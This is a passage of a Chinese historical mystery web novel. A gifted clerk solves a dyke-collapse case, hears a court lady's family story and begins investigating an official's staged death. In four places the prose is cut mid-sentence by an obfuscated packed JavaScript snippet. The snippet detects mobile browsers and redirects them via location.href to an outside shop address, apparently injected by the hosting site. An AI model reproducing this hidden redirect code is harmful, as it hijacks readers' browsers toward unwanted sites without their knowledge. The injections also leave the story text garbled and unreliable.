都水监门前，那位执管水利诸事的都水使，正颓然坐在冰冷的青石门槛上。 “大人，我有一事不解。” 他懒懒地掀起沉重的眼皮，可当目光落在来人身上时，他猛地撑着门槛站起身。 眼前站着的，正是与他相识共事一周有余的小吏，此人身姿亭亭玉立，雌雄莫辨但尽显天生丽质。 都水使怔怔望着她，接着才迟疑着开口，“你……有何事不解？” “长宁二年负责督工的工匠，是否为北方人？ 都水使觉得如此问甚荒谬，可总比坐以待毙强，他如此安慰自己。 “随我来。”他说罢便转身，引着云霓安踏入都水监内间。 推门而入，靠窗处悬着一盏油灯，昏黄光晕洒在满屋书卷上。四壁立着深色檀木书架，架上密密麻麻排满了泛黄的简牍。 都水使捧着厚重的卷宗走到案前，缓缓掀开泛黄的扉页。 目光落在督工人名一栏，“长宁二年堤坝督造，从水部郎中李朗，到时任都水使者方弥，全都是北方人士，籍贯皆在冀州地界。” 云霓安闻言，立刻俯身凑近案边，都水使顺势往后翻页，当翻到朝廷采办筑堤物料一栏时，清晰写着筑堤主材——青石、素灰浆。 看到这几个字，她抬眼看向都水使，再次开口发问，“请问大人，当年堤坝被洪水冲垮之时，堤身砖石是否大多保持整块形态？” 都水使闻言，翻查了一旁的事故勘查记录，接而语气肯定地回道， “正是如此。洪水势大，部分青石被水中裹挟的巨石冲撞挤压，碎裂不堪，但绝大多数堤面青石，被冲垮后依旧是规整的方块形，丝毫没有松散脱落的迹象。” 答案已然昭然若揭，她随手从案边捻起几本厚薄相近的线装书，书本侧截面平整方正，叠放在一起时，竟与筑堤的青石方砖别无二致。 她垂眸专注地将书本一层层垒叠，指尖轻扶稳住书身，不过片刻，便垒出一道形似堤坝的书墙， “长宁二年，恰逢当今圣上登基次年，陛下初登大位，事事都想亲力亲为。彼时特意从朝中派遣北方工匠南下主持堤坝督造，本意是想凸显朝廷对南方水利的高度重视，以示天子心系南疆百姓，可恰恰就是这一安排，成了堤坝坍塌的根源。” 烛火落在她清丽的侧脸上，她抬眸看向神色愈发专注的都水使，字字珠玑， “南方气候多雨，远比北方潮湿闷热，当地工匠常年在此劳作，早已摸透水土习性，筑堤时都会选用耐水防潮的糯米浆灰来填充砖缝。可朝廷指派的这些北方工匠，素来沿用北方干燥环境下适配的素灰浆，对南方的筑堤诀窍全然不知，依旧按北方的工艺施工。” “素灰浆看似紧实，却根本耐不住南方连绵的潮气，长年累月受湿气侵蚀，灰浆慢慢风化失去粘性，看似牢固的堤坝，一旦遭遇大汛洪水冲击，失去粘合的砖石自然分崩离析，堤坝便会轰然坍塌。” 说罢，云霓安伸出指尖，轻轻朝着面前垒好的书墙一推，那道没有任何粘合力支撑的书砌矮坝，散落开来，扬起漫天的纸尘。 她微微偏过头，抬起一只手轻扇开扑面而来的尘灰，继续补充道， “待到堤坝彻底被洪水冲垮，原本用于粘接砖石的灰浆早已被大水冲刷殆尽，痕迹全无，后续朝廷派遣的勘查使者，自然无从辨别灰浆材质，只能在原地一筹莫展。” 话音未落，霓安看着面前人眼眶骤然一红，双膝几欲跪倒的样子，忙不迭的就往外走，可是都水使竟一路追出来，嘴里不断念着“恩公”二字，还要追问霓安姓名。 她斟酌片刻，报出了兵部尚书许庐的名讳。 * 隔日清晨，许庐身着一身素色锦袍，静坐在案前批阅公文。 一旁侍立的折戟，站在门边踌躇了许久，指尖紧攥着宫中传来的赏赐名录。 他心里清楚，自家大人最厌处理公务时被人惊扰，若是贸然上前，必定会惹得大人不悦。 可眼下这是圣上亲自降下赏赐，若是耽搁了时辰不及时禀报，传出去被御史参上一本，扣上一顶不敬皇权的帽子，后果不堪设想。 折戟在原地辗转片刻，终究还是硬着头皮，放轻脚步走上前，垂首躬身。 “大人，圣上褒奖您断案有功，特地降下恩赏，黄金百两，锦缎、绫罗、绸缎共计数百匹，另有御用砚台一方，还有若干珍宝，已然悉数送到府外了。” 案前的男子终于停下笔，缓缓抬眸瞥了折戟一眼。 只听男子缓缓开口问道，“断案有功，所谓何事？” 折戟忙恭恭敬敬地回禀， “回大人，是都水监堤坝塌陷的陈年旧案，近日被新来的云氏协助都水使彻底破解，朝廷查探后，误以为是大人您暗中出力，故而圣上特地降下恩赏，褒奖大人功绩。” 关于堤坝塌陷，许庐也略有耳闻，长宁二年所建堤坝在长宁五年就坍塌，四舍五入才三年不到，圣上大怒，说是命令都水使查明原因，其实是想找人来背这口大锅，给圣上自己，给天下百姓一个交代。 实则明眼人都瞧得出——前路已是死局，是圣上手中一枚弃子。 “此案本是云氏解开，功劳自然归她。礼单上的珍珠玛瑙、翡翠珊瑚，尽数归她。” 折戟一怔，随即连忙应声领命， “末将明白。” 许庐重新坐回案前，不由地想到了近日刚入府的那位云氏。 脑海里自然而然地浮现出那张清丽绝尘的脸庞，她倒是冰雪聪明，几句话就把一桩看似天灾的堤坝疑案，翻得明明白白。 明明身处微末，却能于无声处扭转乾坤，真是个有意思的奇人。 许庐唇角不自觉地向上勾起一抹浅淡的弧度。快得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484524|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同错觉，连他自己都未曾察觉。 * 沉沉的夜幕还未完全褪去，东方天际已悄然漫开一抹青白。 这一夜，云霓安睡得极不安稳。 梦里的她，不知身处何方，四周皆是巍峨的殿宇，一位衣着华贵的妇人缓缓朝她走来， 她抬着脸，看上去温婉亲和，可那双望向云霓安的眼眸里，却没有丝毫暖意。 云霓安僵在原地，眼睁睁看着那人缓缓抬起纤细手臂，手中握着点缀着翠羽的发钗，不等她反应过来，那支点翠钗便直直朝着她的心口刺来！ 也就是在这一瞬，她猛地从噩梦中挣脱，惊醒过来。 她靠在床头，后背早已被冷汗浸透，许久都没能从那场真实的噩梦中缓过神来。 被这一惊，霓安肯定是很难再睡着了，思绪不知怎的，飘回了小时候。 经常被这般梦境惊出一身冷汗，而后慌慌张张睁开眼的霓安，就能听到耳畔响起一道苍老又温和的声音。 在她欲将梦里的内容向师傅和盘托出时，师傅就会将蜜水递到霓安手中，语重心长地叮嘱， “那些梦里的宫廷事，皆是祸端，往后万万不可对旁人提及半个字，更莫要去深究。” 云霓安无奈地抬手扶了扶额，轻轻叹了口气。 于她而言，本就没有什么宏图大志。 心中最大的念想，不过是踏踏实实攒下一笔银钱，一生无忧，而后像当年师傅那样，背着药筐游历四方，看遍山河人间，自在逍遥。 想通至此，她抬手轻轻拍了拍自己的脸颊，左右不过是场梦，何必放在心上。 天色尚早，霓安整理衣物的时候发现了林姝师姑给予她的雕作半开兰蕊的翡翠珠钗。 兰生幽谷，不争芳菲，原是男子赠予女子的定情之语。 而手中这支翡翠珠钗，玉色是匀净温润的雨后芭蕉青，钗身雕工精巧，一眼便知绝非民间市井之物。 云霓安自小在村镇长大，最清楚底层百姓的人情往来。寻常人家定情之物，不过是一方绣着鸳鸯等代表女子心意的荷包，稍体面些的，至多是支桃木或白铜簪子，连白银质地都已算得上稀罕贵重，这般成色上佳的翡翠，绝不可能出自普通人家。 昨日在净业寺中，匆匆递来珠钗的那位女子，分明是受过规矩教育的侍女。 可感业寺中清修之人，素来不带仆从，更别说这般举止得体的贴身侍女。 能在出家之后仍有人随侍左右，身份绝非寻常——若非高官显贵之女，便是曾入宫廷受过先帝恩宠的嫔妃。 可林嫚上宫之前明明说过，她与林姝是一母同胞的双生姐妹，原籍只是长安城外普通乡野农户。说起当年饥馑被卖导致姐妹分离之时，林嫚泪眼婆娑，绝不像随口编造的谎言。 既然林姝不可能是高官之女，那唯一的可能便只剩一个…… 事实证明，人有时不能太敏锐了，尤其是在朝廷里当差之人。 5. 并蒂连枝 因为心里记挂着林姝师姑的事情，霓安便快步向林嫚房内走去，还未跨进大门，林嫚就在廊下望见霓安单薄的身影，忙提着裙摆赶上来。 还未等霓安回话，便快步挽着其掀帘进屋，只见林嫚上宫先拢了拢炭盆里的火。然后便取了干姜和红糖放入注满清水的铜壶中，搁在小火炉里慢慢煨着。 水汽渐渐氤氲开来，霓安从怀里掏出那枚雕作半开兰蕊的翡翠珠钗，林嫚她初见此物时眸中微怔，却因刻在骨里的教养，极快地敛了神色。 霓安并不知道此物的价值，对她来说，即使这珠钗再贵重，也就只是珠钗罢了。师傅常说“这物什往往是没有情的，往往是因为那些物什上留存着人对于此物的记忆，因此物什便寄托了人的忧愁哀思。” 不知道此物的价值的自己，私自留下此物便太暴殄天物了，因此霓安便起身将此物递到林嫚上宫手中，缓缓开口道“林姝师姑所患之病名叫怔忡，传统的中药内服疗效不大，要想根治此病，可能得麻烦林嫚上宫和她推心置腹，以此解开心结便好。” 水汽袅袅，林嫚垂眸候汤，眉目温婉，连沏用于驱寒的姜茶，都被她沏出了几分清润雅致的茶香。 她眉眼低垂，长长的睫毛在眼下投出一片浅淡的阴影，原本温婉的眉眼间，凝着化不开的怅惘，语气轻得像风中飘絮。 “幼时，小妹就比常人更出类拔萃。” 那段饿殍遍地、苦不堪言的岁月，在脑海里愈发清晰。那时连年亢阳，田地干裂得寸草不生，地里颗粒无收。 小妹林姝却从不像旁人那般逆来顺受。饿到极致时，她不会像别人一样蜷缩在破屋里等死，会顶着烈日去深山里找能吃的野果，哪怕被推搡摔倒，也会咬着牙爬起来，绝不低头求饶。 而她，身为与小妹一母同胞，还年纪稍长的姐姐，却生性顺从，骨子里带着些许胆小懦弱。 也正因如此，她打心底里看不起小妹的执拗，可这份看不起，从来都是自欺欺人。 “她懂得什么叫反抗和努力，而身为一母同胞中较年长的我，却顺从且懦弱。因连日亢阳颗粒无收而饿肚子的生活太苦了，我经常劝说自己——低声下气的活着也没关系，所以我看不起小妹，与其说看不起，不如说我嫉妒她，我嫉妒她有骨气的活着还能顺风顺水。 一旁的霓安静静看着她，她眼中哪里有半分她说的嫉妒，全是追悔莫及的自责。 林嫚抬手用素色锦帕轻轻拭去眼角的湿意，缓缓起身移步至霓安身前。她抬手拈起那支翡翠珠钗，小心翼翼地将钗头别入霓安松松挽起的青丝间。温润的玉色衬着乌黑发丝，愈发光彩莹润。 林嫚望着她，眉眼间漾开温和笑意，轻声叹道，“珠钗明艳，人更胜钗，一时我竟分不清，是珠钗衬得姑娘这般明艳动人，还是姑娘风华，反倒衬得珠钗熠熠生辉。” 霓安方才还沉浸在林嫚诉说的陈年往事里，满心怅然未散，骤然被这般直白夸赞，脸颊瞬间染上一层绯红。 林嫚瞧出她窘迫模样，温声含笑解围：“既是小妹真心赠予姑娘的，我这个做姐姐的再收回，反倒显得小气不懂事了。这支珠钗贵重，留在小妹身边，只怕每每看见，都要勾起些伤心旧事。姑娘便收下，权当帮小妹一个忙，放下些过往心结。” 一番话说得入情入理，周全妥帖，既给了霓安收下的理由，又不着痕迹地顾全了两边颜面，半分不让人为难。 她不再推辞，语气诚恳有礼，“既如此，那我便谢过二位姊姊，恭敬不如从命了。” “都是自家姐妹，何必如此客气，我还有一事要拜托霓安——虽然我和姝儿是亲姐妹，不过年轻时因为一些事起了些许分歧，我的话她不一定会听，因而我希望霓安妹妹有时间的话能去看看姝儿，就当是给她解闷了。” 看着霓安拢袖告辞的身影，她指尖不知何时失了力气，微微一颤，青瓷茶杯应声坠地，碎瓷溅开，温热茶汤漫了一地。 * 那也是个寒冬，朔风卷着碎雪。 周遭景致已是寒彻入骨，而小妹立在风雪之中，眉眼淡漠，周身气息比这隆冬更冷。 那是安远七年的冬天，二十一年前，那时她和姝儿不过十五六岁，正是人生最好的年华，姝儿那时便出落得明艳凌厉。 肌肤莹白似雪，衬得唇色如樱，鬓发如云，身姿亭亭，往那里一站，便如灼灼骄阳，耀眼得让人不敢直视。 也许是那个冬天太冷了，冷得让人冲动到去做傻事，没有任何由头的想带小妹进宫，看看那御花园的枯山水——雪落御花园，天地一色。园中枯山水虽无草木生发，却在寒雪里更显嶙峋风骨，青石如岸，白沙似水。 数枝腊梅在寒风中傲然挺立，暗香浮动。金黄的花蕊顶着皑皑白雪，艳而不俗。 现在想想，那时候应该是只是因为自己想小妹了，很想很想。 她趁着冬日宫人往来繁杂，将一身素衣的小妹悄悄带入宫中，一路牵着小妹，避开巡逻的侍卫与管事太监，从偏廊绕至御花园的腊梅深处。 可正当自己和小妹站在梅下低语，先帝目光淡淡扫过梅下两道身影，一眼便瞧出小妹并非宫中人。 林嫚瞬间面色惨白，双膝一软跪倒在地。小妹更是花容失色，惊得手足无措，只知僵在原地。 宫禁森严，私引外人阑入，便是死罪，此刻撞在先帝眼前，再无半分转圜余地。 或许是上天垂怜她们姐妹二人深陷绝境，太过困苦，面前权势滔天的人，竟真的松了口，愿意网开一面。 本已心死的林嫚，猛地惊喜抬头，眼里燃起一丝光亮，可那点光亮，在看清男人看向小妹林姝的眼神时，瞬间冻成寒冰。 那眼神里哪里是半点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484525|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恻隐，分明是骤然见到绝色的惊艳惊喜，像一张密不透风的网，要将小妹牢牢困住。 她清楚，普天之下莫非王土，率土之滨莫非王臣，只要他想要，这世间的一草一木、一人一物，便全都是他的囊中之物。 后来的一切，果然都朝着最不堪的方向发展。 小妹身不由己，看似一朝飞上枝头，平步青云，可只有她们姐妹自己知道，这份光鲜背后，是无尽的委屈与煎熬。 小妹出身贫寒，更无半分母家势力可以依靠。旁人嫉妒她的恩宠，眼红她的际遇，明里暗里的陷害算计从未断过。 好不容易熬到先帝驾崩，新帝登基，按照大常律法，无子嗣的先帝妃嫔，尽数要削发出家为尼。 窗外不知何时又飘起了小雪，寒意彻骨。 * 霓安回房之后就发现眼前金碧辉煌，裹以明黄绫缎的紫檀锦匣不用猜就知道是御赐之物。 “云小姐，这是赏赐的清单。除黄金白银和笔墨纸砚之类，剩余的胭脂水粉，绸缎布匹之类已尽数送入你房中。”折戟将长长的清单三下两下折好后放到霓安的桌上，顿了顿接着说， “此外，大人还有一事需要你来解决。兵部任职的从五品员外郎秦厉，被人发现死在了数九寒天的冰雪之中。就在他离世的前一天夜里，还有街坊清清楚楚瞧见，他在醉红轩后街的戏台上，腿脚利落、健步如飞。虽说只是寻常的行走奔走，算不得什么精妙好看的戏码，可这秦厉早在数年前，便因一场意外伤及筋骨，双腿彻底痿废，常年离不开轮椅，连独自站立都做不到，更别提这般健步如行了。” 霓安指尖轻轻敲击着桌面，适时接过话茬，“他本是武将出身，双腿痿废对他而言，无疑是断了立身之本，定然难堪又痛苦，这般境况，他难道没有遍请郎中来诊治吗？” “自然是寻过的，而且寻了无数。” 折戟叹了口气，语气满是唏嘘， “当时秦厉刚落下腿疾，心中不甘，四处求医问药。不论是民间口口相传的游走神医，还是府中资历深厚的御用医师，他都一一请过，可请来的郎中无一不摇头，都说他经脉尽断，早已无药可医。” 她抬眼看向折戟，追问到，“他一个废了双腿的武将，为何偏偏要在那戏台上，做出这般反常之举？” “据戏班子里的人交代，这其中也是万般无奈。秦厉虽说靠着往日功绩，被朝廷念及可怜，留在兵部挂了个员外郎的闲职，可并无实权，俸禄更是少得可怜。偏偏他意志消沉，常去醉红轩吃花酒消遣，久而久之，欠下了一大笔银钱，醉红轩的人日日上门催债，他根本无力偿还。走投无路之下，他才主动找到戏班子的人，商量着配合演一出戏，靠这般双腿废人忽然健步如飞的荒诞戏码哗众取宠，引得路人围观打赏，就为了挣几个微薄的铜子，好偿还欠下的酒债……” 6. 草木一秋 除了满满一车赏赐的珠宝，副将折戟还领来一位武将，此人名叫邹连。 折戟只草略解释，此番前往事关官员殒命，多带一名武将随行，便多些稳妥。 这话听来合情合理，可霓安心里却跟明镜似的。上回堤坝一案，她锋芒毕露，这般特意派个人在旁，明里随行，暗里监视她的一言一行。 或许往好处想，这邹连身手不凡，若真在途中遇上什么凶险，说不定还能在危急关头护她一命。 小小的书桌上，整齐摊着有关秦厉大人的一应资料。霓安指尖轻轻拂过那页薄薄的案情报告，不过寥寥数语，便概括了一位朝廷命官的离奇身死。 她望着那几页单薄的纸，心头不由泛起一阵淡淡的感伤。 人活一世，草木一秋，纵是兢兢业业半生，在官场奔走，到最后留于世间的，也不过是这薄薄几页文书。 霓安伸手翻开那叠卷宗，指尖刚一触到纸面，便微微一顿。那凹凸不平的纸张，绝非如今朝中通行的桑皮纸，而是先帝在位时常用的麻纸。 麻纸纤维不均，因而导致其不易吸墨，远不如后来的纸张细腻。也正因如此，当今圣上登基次年，便下旨改用以南方出产的桑皮纸。 桑皮纸质地匀净平整，不仅书写顺滑，还能以黄檗浸染成明黄色，能防虫蛀蚀，长久保存。 眼前这份卷宗用的却是麻纸，足以说明，秦厉大人早在先帝一朝，便已入朝为官。 她翻开卷宗扉页，果然印证了猜想。 安远十年，秦厉刚过而立之年，随军出征北境。战事纷乱之中，他拼死救下身陷重围的大将军贠长庚，从无名小卒一跃擢升为正四品折冲都尉，前途一片坦荡。 可霓安分明记得，如今案卷上标注的秦厉官职，不过是区区从五品兵部员外郎。 从堂堂四品都尉，贬至五品员外郎，其间落差不小，究竟是因何过失，才遭此降职呢？ 继续向后翻阅，后面几页密密麻麻记满了他任折冲都尉时的功绩，桩桩件件皆有记载。 可唯独关于贬官一事，卷宗里只字未提，仿佛被人刻意隐去。 更蹊跷的是，自从先帝驾崩之后，有关秦厉的记载骤然减少，仿佛一夜之间便从朝堂中枢淡出。 霓安指尖停在纸页上，心头隐隐生出一个念头。 难道是当今圣上登基之后，对先帝旧臣心存忌惮，不愿重用的缘故吗？ 前朝历史上，这般情形本就屡见不鲜。明明是血脉相承的父子，皇权更迭，便难免猜忌丛生，即使前朝功臣即便忠心耿耿，也常被视作隐患。 霓安接着翻开那案件报告，其记载秦厉大人一生孤身，并无妻儿子嗣，发现他尸首的，是同住一处的邻居——礼部太子中舍人。 太子中舍人本是出身文臣的礼官，素来对武将略有轻视，不过因为秦厉大人为人通透豁达，性情豪爽洒脱，唯独对其另眼相看，十分敬佩。 自他任职太子中舍人以来，便与秦厉往来密切，交情日渐深厚。后来秦厉不幸罹患重疾，双腿痿废，太子中舍人便常常前往秦厉院中对坐饮酒，打发时日。 可前些日子，他却发觉异样。秦厉家的院门一连三日紧锁。起初他只当秦厉是不愿被人打扰，并未多想。 可他深知秦厉性子——即便闭门休憩，至多一两日便会出门走动，再加秦厉素来喜爱前往醉红轩饮酒听曲，从来熬不过三日。此番一连三日足不出户，连半点动静都无，实在反常至极。 他按捺不住，命人叩门呼喊，可院内始终无人应答。放心不下的他，索性让下人帮扶着翻墙入内。 屋内空无一人，四下翻找不见踪迹，直到踏过院角积雪，才发觉雪下异样，刨开冰雪一看，秦厉的尸首早已被深埋在皑皑白雪之下。 严寒冰冻，足以大幅延缓尸身的一切变化。 这一来，最根本的死亡时间线索便彻底断了。因此此案便无法凭尸身推断真凶，只能转而依靠沿街询问。 但是好在需要排查的范围其实清晰明了，秦厉大人一生孤介，人际关系素来简单。 霓安目光下移，便看到了仵作对秦厉尸首的勘验结果，体表可见明显外伤，衣衫浸染血迹，初步判断，生前曾遭人以钝器重击。 不过眼下最要紧的，就是先去探查那个最具嫌疑的戏台班子——秦厉大人最后一次现身于民众眼前，且一改双腿痿废的残疾，健步如飞的地方。 * 傍晚，雪刚歇。 虽然后街泥雪混杂，却是另一番热闹。 一方简陋戏台搭在空地上，锣鼓声哑，围满了衣衫单薄的穷苦人。 霓安一身半旧的青布衣褂，腰间随意束着根素色布带。可即便这般粗布男装裹身，也难掩她骨子里那股清透灵气。 霓安与邹连并肩走入后街，路面泥泞湿滑，两人皆是一身布衣打扮，远远望去，倒像一对容貌俊秀的亲兄弟。 “小姐可是想暗访后街戏台？” 邹连冷不丁的开口，把低头思索案情的霓安吓了一怔。 “正是。”她定了定神，思索片刻觉得有些不妥的轻声叮嘱， “有劳邹连大人，在外切莫唤我小姐，只叫我阿弟便好，免得引人疑心，坏了暗访之事。” 邹连目光在她脸上淡淡一落，语气平静，“阿弟这般模样，过于惹眼了。” 霓安低头看了看自己身上洗得发白，边角微破的青布衣褂，满心困惑，实在不明白哪里算得上惹眼。 邹连轻叹一声，低声提点，“阿弟容貌过于清丽干净。贫苦百姓终日劳作奔波，脸上哪会这般洁净，多少要带些尘污，你这般，反倒格格不入。” 霓安心头一紧，暗道糟糕。 从前在村寨里，大人人面上皆是尘土粗粝不堪。只是在尚书府待得久了，竟把这市井乔装最要紧的细节忘得一干二净。若是此刻赶回府去取乔装用的灰粉，必定耽误戏台开锣。 她一时僵在原地， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484526|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手足无措。 邹连看在眼里，默默从怀中取出一个巴掌大的小布包，递到她面前，“阿弟若是不嫌弃，可用此物。此为草木灰，行军途中常用来处理伤口、净化饮水，用来掩饰容貌正好。” 霓安连忙接过，就近捏了些许雪水，将指尖沾的草木灰溶开，轻轻抹在眉间与脸颊侧面。 她转头看向邹连，眼底带着几分试探“阿哥你看如何？” 邹连抬眼望去，那草木灰本是用来扮作脏污，可落在她细腻白皙的脸上，反倒像浅淡的花痕。 邹连嘴角微不可查地抽了抽，只生硬道“……阿弟尽力便好。” 明明是他提醒自己乔装，现在反倒来取笑她。 少女指尖还沾着剩余的草木灰，趁他不备，抬手便往邹连脸颊上胡乱抹了两把。 一时之间，两人脸上都沾着狼狈的灰痕… 邹连无奈扶额，可草木灰恰好遮住了两人脸上泪痣斑点尽数隐去，也算歪打正着。 既如此，便这般去吧…… 夜色渐沉，这样伸手不见五指之时，便是戏台班子开锣之时。 台上戏子的脸是全然看不清的，眉眼口鼻都隐于黑暗中，台上伶人的水袖翻飞，也只看得见一抹亮色在暗影里划开弧线，辨不清其容貌。 这就说得通了！ 台下的百姓向来都是靠着台上人穿戴的扮相，来判断是旦角还是生角。 如此一来，那晚站在戏台上，看似是秦厉的身影，根本就不是他本人，而是一个穿着从五品武官制服的替身！ 想来台下的百姓也绝不会生出半分怀疑。秦厉乃是朝廷命官，与底层贫苦百姓几乎没有交集。 这般情况下，只要找一个身形高矮胖瘦与秦厉大致相仿之人，再借着戏台昏暗的灯光，喧闹的人群做掩护，就能轻而易举地以假乱真。 按照常理，行凶者想要掩盖罪行，向来都是低调行事，可这凶手竟反其道而行之，究竟为何。 霓安眉头微蹙，目光骤然一凝。 凶手特意把秦厉大人的尸体埋在冰天雪地之中，让尸僵、尸斑都迟迟无法显现，就是为了干扰仵作验尸，使其无法准确判断出真实的死亡时间。 假设那晚在戏台前露面的是真的秦厉大人，那便等于直接向所有目击者佐证，那个时候秦厉依旧活着。 如此一来，仵作再结合百姓证词，就会理所应当地把秦厉的死亡时间，死死卡在戏台现身之后，到次日辰时太子中舍人发现尸体的这段短暂时间里。 而凶手费尽心思卡死这个死亡时间，只有一个目的——在这段伪造的时间里，凶手拥有完美的不在场证明。 霓安越想越心惊，想要一整晚都有人为自己作证，要么是身居高位的达官显贵，在自家府邸中设宴会客，满座宾客都能为其作证。 要么就是去了京城中唯一能通宵达旦营业，陪酒的伶人都能作证，足以制造出无懈可击的不在场证明，彻底将自己摘出嫌疑。 7. 各怀鬼胎 按照规制，本该戌时便落锁，实行宵禁。不过醉红轩直要闹腾到四更天方才罢休，若是兴致来了，这通宵达旦的光景也寻常得很。 戏台上，若是上演着一出“狸猫换太子”的戏码——开锣声一响，一位面容冷峻的“秦厉大人”缓步登台，待得一曲唱罢，那人却在幕后褪去了那身惹人忌惮的官袍，换上了一身素雅的长衫，从容地回到了隔壁的醉云轩，主理着那场宾主尽欢的宴席。 如此一来，那醉红轩中的几十号宾客，便都成了他完美的“不在场证明”，这精妙的计谋尚无人识破，这案子便很难破解。 霓安心知肚明，自己人微言轻，纵使道出心中推测，也无人愿意理会。更遑论如今这副模样，想要踏入这门槛，恐怕还未等说明来意，就会被看门的仆役拦在门外，更妄论彻查凶案了。 无奈之下，霓安只得轻轻垫脚，拍了拍身旁邹连的肩膀，分明是在示意他作罢，打道回府。 “大人，你看前面那两人，鬼鬼祟祟的，形迹十分可疑，是否需要抓来盘问一番？” 槐棘压低了声音，自从跟随谢齐渊当差以来，他便对自家大人那断案的手法捉摸不透。旁人断案全凭直觉，灵光一闪定乾坤，而谢齐渊却有着平常人难以匹敌的洞察力。 而直觉是会骗人的，唯有那从细微处抽丝剥茧得来的细节，才是铁证如山。 谢齐渊侧过脸，目光深邃地看向槐棘，声音平静，“那你来讲讲，为何觉得他们鬼鬼祟祟？” 少年立在原地，身姿如苍松般挺拔，一袭月白官袍衬得他气质高洁，仿佛月下谪仙。 槐棘挠了挠头，一副有苦说不出的模样。跟着大人断案这么多年，没吃过猪肉也见过猪跑，虽然他说不清具体的缘由，但直觉却异常敏锐，告诉他眼前这并肩而行的两人绝非善类。 谢齐渊也没为难他，只是沉声为其解惑“那并肩二人脸上的尘土，并非寻常路人沾染的尘灰，而是行军驻扎时，武官们身上常备的草木灰。这草木灰颜色深沉，附着在皮肤上极难洗净，自然让你觉得他们与寻常百姓格格不入。再者，那身形较矮的一人，虽身着男子布衣，却难掩曲线，怕是个女子，这般雌雄莫辨的打扮，更是惹人起疑。” “原来如此！多谢大人提点！那要不要……”槐棘恍然大悟，刚要提议上前，却见自家大人唇角微微弯起，那笑意竟不是平日里的皮笑肉不笑。 槐棘心头一跳。谢齐渊素来爱笑，可那笑容多是温文尔雅的假面，因此才被人暗地里称作“笑面虎”。平日里遇见奸诈之徒，他唇角虽弯，眼底却无半分暖意。 但方才那一瞬间，那有些不自知的勾唇一笑，却是真的。 在探案这件事上，槐棘的直觉也准得出奇。此刻他的直觉告诉他，这事儿恐怕没那么简单，而这一切的缘由，十有八九都是因为那个女扮男装的小吏。 谢齐渊收回目光，语气轻快地说道“盘问吗？自然是不用的。能在这个时辰、这般打扮出现在此地的，应该是兵部协助办案之人。” “又是因为什么缜密的分析吗……”槐棘在心里小声嘀咕了一句，脸上却不敢表露分毫。 “不是，这次是直觉哦。”谢齐渊转头看向他，眼底带着几分狡黠的笑意，语气轻快得像是在开玩笑。 槐棘只觉得太阳穴“突突”直跳，抬头便对上了谢齐渊那张如沐春风的脸。 得，又被大人耍了。 * 许庐前半生在官场沉浮，见惯了形形色色的人，早将这朝堂上下的官员们按脾性分了三六九等。 一类是为了心头女子而拼命往上爬的，这类人往往带着点愚笨的赤诚，为了心仪之人钻营奔走，哪怕撞得头破血流也甘之如饴，看着好笑，却也纯良，那点儿女情长便是他们最显眼的软肋，一捏一个准。 另一类则是为了光耀门楣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484527|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而夙夜匪懈的，他们把功成名就刻在骨子里，每一步都踩着名利的梯子往上攀，也正因这份对权势的渴望，最容易急功近利，稍不留意就会漏出把柄，拿捏起来最是省心。 而这官场上既不贪财、也不好色的异类，除了那些两袖清风、只会附庸君子风雅的穷酸文官，便只剩当今大理寺卿——谢齐渊了。 这位大人年仅弱冠，却已平步青云，官至大理寺卿。外人不明就里，只当他是靠着什么阴私狠辣的手段上位，背地里嚼尽了舌根。 可许庐清楚，谢齐渊就像一把藏在鞘中的利刃，看着温文尔雅，实则锋芒慑人，实在让人不得不忌惮。 正思忖着，门外忽然传来轻缓的脚步声，伴着折戟恭恭敬敬的禀报，“大人，大理寺卿谢齐渊来访。” 真是想什么来什么。他抬了抬眼，对着门外的折戟淡淡招了招手，语气平静无波， “知道了，引人进来。” 谢齐渊入内落座，两人省去了上下级之间繁琐的寒暄，氛围看似平和，却带着几分同级官员相见的微妙制衡。 两人静坐饮茶不过片刻，谢齐渊便放下茶盏，单刀直入，没有半分迂回， 